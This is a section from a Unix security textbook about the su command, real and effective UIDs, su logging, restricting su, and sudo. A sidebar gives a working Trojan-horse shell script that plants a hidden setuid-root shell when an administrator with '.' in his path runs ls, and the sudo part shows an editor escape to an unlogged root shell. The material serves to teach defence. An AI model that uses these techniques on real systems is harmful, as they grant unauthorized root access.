5.3 The su Command: Changing Who You Claim to Be
Sometimes, one user must assume
the identity of another. For example, you might sit down at a
friend's terminal and want access to one of your
protected files. Rather than forcing you to log your friend out and
log yourself in, Unix gives you a way to change your user ID
temporarily: the su command, which is short for
"substitute user." The
su command requires that you provide the
password of the user to whom you are changing.
For example, to change yourself from tim to
john, you might type:
% whoami
tim
% /bin/su john
password: fuzbaby
% whoami
john
%
You can now access john's
files. (And you will be unable to access
tim's files, unless those files
are specifically available to the user john.)
The most common use of the
su command is to invoke superuser access. For
example, if you are the system administrator and Rachel needs her
password reset, you could reset the password by becoming the
superuser and then using the passwd command:
$ /bin/su
Password: rates34
# passwd rachel
Changing local password for rachel.
New password:mymy5544
Retype new password:mymy5544
passwd: updating the database...
passwd: done
# exit
%
This will be discussed at length in
Section 5.3.2.
5.3.1 Real and Effective UIDs with the su Command
Processes on Unix systems always have at
least two identities. Normally, these two identities are the same.
The first identity is the real UID. The real
UID is your "real identity" and
matches up (usually) with the username you logged in as. Sometimes
you may want to take on the identity of another user to access some
files or execute some commands. You might do this by logging in as
that user, thus obtaining a new command interpreter whose underlying
process has a real UID equal to that user.
Alternatively, if you only want to execute a few commands as another
user, you can use the su command (as described
in the previous section) to create a new process. This will run a new
copy of your command interpreter (shell), and have the identity (real
UID) of that other user. To use the su command,
you must either know the password for the other
user's account or be currently running as the
superuser.
There are times when a software author wants a single command to
execute with the rights and privileges of another user—most
often, the root user. In a case such as this, we
certainly don't want to disclose the password to the
root account, nor do we want the user to have
access to a command interpreter running as root.
Unix addresses this problem through the use of a special kind of file
designation called
setuid or SUID. When a SUID file is run, the
process involved takes on an effective UID that is the same as the
owner of the file, but the real UID remains the same. SUID files are
explained in Chapter 6.
5.3.1.1 Saved IDs
Some versions of Unix have a third form of UID: the saved
UID.
In these systems, a user may run a setuid program that sets an
effective UID of 0 and then sets some different real UID as well. The
saved UID is used by the system to allow the user to set her identity
back to the original value. Normally, this is not something the user
can see, but it can be important when you are writing or running SUID
programs.
5.3.1.2 Other IDs
Unix also has the analogous concepts of effective
GID , real GID, and
setgid for groups.
Some versions of Unix also have concepts of session
ID,
process group ID, and audit
ID. A session ID is associated with the processes
connected to a terminal, and can be thought of as indicating a
"login session." A process group ID
designates a group of processes that are in the
foreground or background
on systems that allow job control. An audit ID indicates
a thread of activity that should be treated as the same in the audit
mechanism. You need to understand session IDs and process group IDs
if you are developing software that needs to remain running after a
user logs out, or if you are creating a system of programs that need
to communicate with each other by using signals. Audit IDs are
important if you are developing software that needs to analyze audit
log files.
5.3.2 Becoming the Superuser
Typing su without a
username tells Unix that you wish to become the superuser. You will
be prompted for a password. Typing the correct
root password causes a shell to be run with a
UID of 0. When you become the superuser, your prompt should change to
the pound sign (#) to remind you of your new powers. For example:
% /bin/su -
password: k697dgf
# whoami
root
#
Once you have become the superuser, you are free to perform whatever
system administration you wish.
When using the su command to become the
superuser, you should always type the command's full
pathname, /bin/su. By typing the full pathname,
you are assuring the system that you are actually running the real
/bin/su command, and not another command named
su that happens to be in your search path. This
method is a very important way of protecting yourself (and the
superuser password) from capture by a Trojan horse. Other techniques
are described in Chapter 23.
Notice the use of the dash in the earlier example. Most versions of
the su command support an optional argument of a
single dash. When supplied, this causes su to
invoke its subshell with a dash, which causes the shell to read all
relevant startup files and simulate a login. Using the dash option is
important when becoming a superuser: the option guarantees that you
will be using the superuser's path, and not the path
of the account from which you sued.
To exit the subshell, type exit.
If you use the
su command to change to another user while you
are the superuser, you won't be prompted for the
password of that user. (This makes sense; as the superuser, you could
easily change that user's password and then log in
as that user.) For example:
# /bin/su john
% whoami
john
%
Using su to become the superuser is not a
security hole. Any user who knows the superuser password could also
log in as the superuser; breaking in through su
is no easier. In fact, su enhances security:
many Unix systems can be set up so that every su
attempt is logged, with the date, time, and user who typed the
command. Examining these log files allows the system administrator to
see who is exercising superuser privileges—as well as who
shouldn't be!
5.3.3 Use su with Caution
If you are the system
administrator, you should be careful about how you use the
su command. Remember that if you
su to the superuser account, you can do things
by accident that you would normally be protected from doing. You
could also accidentally give away access to the superuser account
without knowing you did so.
As an example of the first case, consider the real instance of
someone we know who thought that he was in a temporary directory in
his own account and typed rm -rf *. Unfortunately,
he was actually in the /usr/lib directory, and
he was operating as the superuser. He spent the next few hours
restoring tapes, checking permissions, and trying to soothe irate
users. The moral of this small vignette, and hundreds more we could
relate with similar consequences, is that you should not issue
commands as the superuser unless you need the extra privileges.
Program construction, testing, and personal
"housecleaning" should all be done
under your own user identity.
Another example is when you accidentally execute a
Trojan Horse program instead of the
system command you thought you executed. (See the sidebar Stealing Superuser, later in this chapter.) If
something like this happens to you as user root,
your entire system can be compromised. We discuss some defenses to
this in Chapter 23, but one major suggestion is
worth repeating: if you need access to someone
else's files, su to that user
ID and access them as that user rather than as the superuser.
For instance, if a user reports a problem with files in her account,
you could su to the root
account and investigate, because you might not be able to access her
account or files from your own, regular account. However, a better
approach is to su to the superuser account, and
then su to the user's
account—you won't need her password for the
su after you are root. Not
only does this method protect the root account,
but you will also have some of the same access permissions as the
user you are helping, and that may help you find the problem sooner.
Once
upon a time, many years ago, one of us needed access to the
root account on an academic machine. Although we
had been authorized by management to have root
access, the local system manager didn't
want to disclose the password. He asserted that access to the
root account was dangerous (correct), that he
had far more knowledge of Unix than we did (unlikely), and that we
didn't need the access (incorrect). After several
diplomatic and bureaucratic attempts to get access normally, we took
a slightly different approach, with management's wry
approval.
We noticed that this user had "."
at the beginning of his shell search path. This meant that every time
he typed a command name, the shell would first search the current
directory for the command of the same name. When he did a
su to root, this search
path was inherited by the new shell. This was all we really needed.
First, we created an executable shell file named
ls in the current directory:
#!/bin/sh
cp /bin/sh ./stuff/junk/.superdude
chmod 4555 ./stuff/junk/.superdude
rm -f $0
exec /bin/ls ${1+"$@"}
Then, we executed the following commands:
% cd
% chmod 700 .
% touch ./-f
The trap was ready. We approached the recalcitrant administrator with
the complaint, "I have a funny file in my directory
I can't seem to delete." Because
the directory was mode 700, he couldn't list the
directory to see the contents. So, he used su to
become user root. Then he changed the directory
to our home directory and issued the command ls
to view the problem file. Instead of the system version of
ls, he ran our version. This created a hidden
setuid root copy of the
shell, deleted the bogus ls command, and ran the
real ls command. The administrator never knew
what happened.
We listened politely as he explained (superciliously) that files
beginning with a dash character (-) needed to be deleted with a
pathname relative to the current directory (in our case, rm
./-f); of course, we knew that.
A few minutes later, he couldn't get the new
root password.
|
5.3.4 Using su to Run Commands from Scripts
Another common use of the
su command is to run a program under a specific
userID in a script that is being run automatically by
root. For example, a startup script for a system
that runs three programs under three different user IDs might look
like this:
/bin/su usera -c /usr/local/system/scripta
/bin/su userb -c /usr/local/system/scriptb
/bin/su userc -c /usr/local/system/scriptc
Early versions of the Unix cron program ran all
programs in the crontab under the user
root; to run a program under a different user,
the su command was used:
0 4 * * * /bin/su uucp -c /usr/lib/uucp/uuclean
5.3.5 Restricting su
On
some versions of Berkeley-derived Unix, a user cannot
su to the root account
unless the user is a member of the Unix group
wheel—or any other group given the group
ID of 0. For this restriction to work, the
/etc/group entry for group
wheel must be non-empty; if the entry has no
usernames listed, the restriction is disabled, and anyone can
su to user root if he has
the password.
Some versions of su also allow members of the
wheel group to become the
superuser by providing their own
passwords instead of the superuser password. The advantage of this
feature is that you don't need to tell the
superuser's password to a user for him to have
superuser access—you simply have to put him into the
wheel group. You can take away his access simply
by taking him out of the group.
Some versions of System
V Unix require that users specifically be given permission to
su. Different versions of Unix accomplish this
in different ways; consult your own system's
documentation for details, and use the mechanism if it is available.
Another way to restrict the su program is by
making it executable only by a specific group and by placing in that
group only the people who you want to be able to run the command. For
information on how to do this, see Section 6.3.
5.3.6 The su Log
Most versions of the su
command log successful and failed attempts. Older versions of Unix
explicitly logged su attempts to the console and
to a hardcoded file, such as the
/var/adm/messages file. Newer versions log bad
su attempts through the
syslog facility, allowing you to send the
messages to a file of your choice or to log facilities on remote
computers across the network. The
FreeBSD version of su
uses the syslog facility, but opens the facility
with the LOG_CONS flag so that the bad su
attempts are logged both to the auth facility
and to the console. You should be careful who has access to the log
of failed su attempts, as the log files can
occasionally contain a variation of the root
password.
If you notice many bad attempts, it may be an indication that
somebody using an account on your system is trying to gain
unauthorized privileges; this might be a legitimate user poking
around, or it might be an indication that the user's
account has been appropriated by an outsider who is trying to gain
further access.
A single bad attempt, of course, might simply be a mistyped password,
someone mistyping the du command, or somebody
wondering what the su command does.
5.3.6.1 The sulog under Solaris
You can quickly scan the appropriate
su log file for bad passwords with the
grep command:
% grep BAD /var/adm/messages
BADSU 09/12 18:40 - pts/0 rachel-root
Good su attempts on a Solaris system look like
this:
% grep + /var/adm/sulog
SU 09/14 23:42 + pts/2 simsong-root
SU 09/16 08:40 + pts/4 simsong-root
SU 09/16 10:34 + pts/3 simsong-root
It would appear that Simson has been busy suing
to root on September 14th and 16th.
5.3.6.2 The sulog under Berkeley Unix
Here is a similar command executed on a
FreeBSD system:
r2# grep 'su:' /var/log/messages
Jun 14 19:22:25 <auth.notice> r2 su: simsong to root on /dev/ttyp1
Jun 14 19:30:06 <auth.warn> r2 su: BAD SU simsong to root on /dev/ttyp1
Jun 14 19:30:18 <auth.warn> r2 su: BAD SU simsong to root on /dev/ttyp1
Jun 14 19:31:10 <auth.warn> r2 su: BAD SU simsong to root on /dev/ttyp2
Jun 14 19:31:38 <auth.notice> r2 su: simsong to root on /dev/ttyp2
r2#
Note that the successful su attempts are logged
with the syslog level
<auth.notice>, while the failed attempts are
logged at the level <auth.warn>. For more
information on syslog warning levels, see Chapter 20.
5.3.6.3 The sulog under Red Hat Linux
Red
Hat uses the pam_unix module to log
su attempts to the
/var/log/messages file. Successful
su attempts look like this:
# grep 'su.pam_unix' messages | grep -v failure
Jun 11 04:05:59 l1 su(pam_unix)[19838]: session opened for user news by (uid=0)
Jun 11 04:06:00 l1 su(pam_unix)[19838]: session closed for user news
Jun 11 15:48:37 l1 su(pam_unix)[22433]: session opened for user root by
simsong(uid=500)
Jun 11 15:51:23 l1 su(pam_unix)[22433]: session closed for user root
Jun 11 16:31:16 l1 su(pam_unix)[22695]: session opened for user root by
simsong(uid=500)
Jun 11 19:06:03 l1 su(pam_unix)[22695]: session closed for user root
#
Note that the pam_unix system logs successful
su attempts by both users and programs. The
pam_unix system also logs when the
su session starts and ends. In the preceding
example, the first two lines represent the start and end of a Netnews
cleanup script that is run automatically at 4:00 a.m. every day by
the operating system. UID 0 (the superuser) successfully
sus to the news user, and
then runs a script. The second and third attempts represent
interactive su attempts by the user
simsong.
Failed su attempts are logged to the same file,
but with a different error message:
# grep 'su.pam_unix' messages | grep failure
Jun 15 14:40:55 l1 su(pam_unix)[10788]: authentication failure; logname=rachel
uid=181 euid=0 tty= ruser= rhost= user=root
Jun 15 14:40:59 l1 su(pam_unix)[10789]: authentication failure; logname=rachel
uid=181 euid=0 tty= ruser= rhost= user=root
#
These two examples indicate that user rachel
attempted to su to the root
account, and failed.
5.3.6.4 Final caution
The root
account is not an account designed for the
personal use of the system administrator. Because all security checks
are turned off for the
superuser, a typing error
could easily trash the entire system. Murphy's Law
ensures that this happens more often than even experienced users
might wish, so use the root account with
caution!
5.3.7 sudo: A More Restrictive su
Mac OS X, OpenBSD, and many Linux
distributions are equipped with a program named
sudo that allows a person to exercise
superuser privileges on a
single command. The commands executed as superuser are logged with
the name of the person who has run the command, and the time that the
command was executed. Security of logs can be increased if they are
stored on a second computer; sudo can also send
email messages when it runs successfully, or when a
sudo attempt fails.
To be allowed to use the sudo command, the user
must be listed in the file sudoers, which is
usually found in /etc or
/usr/local/etc. The sudo
command can be configured to allow users to use their own passwords
or special sudo passwords.
The sudo command offers accountability. For
example, on a Mac OS X computer, you'll see:
[G3:/var/log] simsong% sudo passwd rachel
Password: rates34
Changing local password for rachel.
New password:mymy5544
Retype new password:mymy5544
passwd: updating the database...
passwd: done
[G3:/var/log] simsong%
This results in the following entry being saved in the
system's logfile:
Jun 11 16:36:38 G3 sudo: simsong : TTY=ttyp1 ; PWD=/Users/simsong ; USER=root ;
COMMAND=/usr/bin/passwd
Another advantage of sudo is that the
/etc/sudoers file can specify not only who may
use sudo, but which commands they are permitted
to run. For example,
simsong may be allowed to run only
passwd, dump, or
mount.
It's important to be careful about which commands
you allow users to run through sudo. Many
commands, such as editors, provide a way to escape to a shell. If a
user can run an editor as root, they can often
escape to a root shell:
[G3:/var/log] simsong% sudo ed /dev/null
Password: rates34
0
!sh
[G3:/var/log] root#
At this point, the user has full access to the system and can run any
command without having it logged.
|